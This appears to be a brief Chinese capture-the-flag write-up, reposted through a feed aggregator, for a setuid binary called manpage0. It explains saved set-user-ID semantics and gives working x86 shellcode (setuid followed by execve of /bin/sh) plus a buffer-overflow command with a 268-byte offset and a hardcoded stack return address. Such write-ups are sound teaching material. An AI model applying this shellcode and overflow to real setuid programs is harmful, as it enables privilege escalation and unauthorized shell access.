Quantcast
Channel: 记事本
Viewing all articles
Browse latest Browse all 122

manpage0

$
0
0

有2点:

  1. execve,如果ST_NOSUID没有设的话,新执行的程序的rid不变,eid会变如果suid设了,saved suid也会被保存为eid,这样我们就可以在之后用setuid来恢复
  2. setuid如果权限够了(root?),就把2个id都设了;否则只设eid,rid和saved suid不变

于是还是溢出,不过shellcode中要先恢复权限

BITS32;setuidxorebx,ebxmovbx,17001xoreax,eaxmoval,23int0x80xoreax,eaxpusheaxmovedx,esppush0x68732f2fpush0x6e69622f;/bin//shmovebx,esppusheaxpushebxmovecx,espmoval,11int0x80

dest和返回地址距离是256+8+4=268,于是

$ /manpage/manpage0 `perl -e 'print "A"x268 . "\xd8\xd8\xff\xff"'`

Viewing all articles
Browse latest Browse all 122

Trending Articles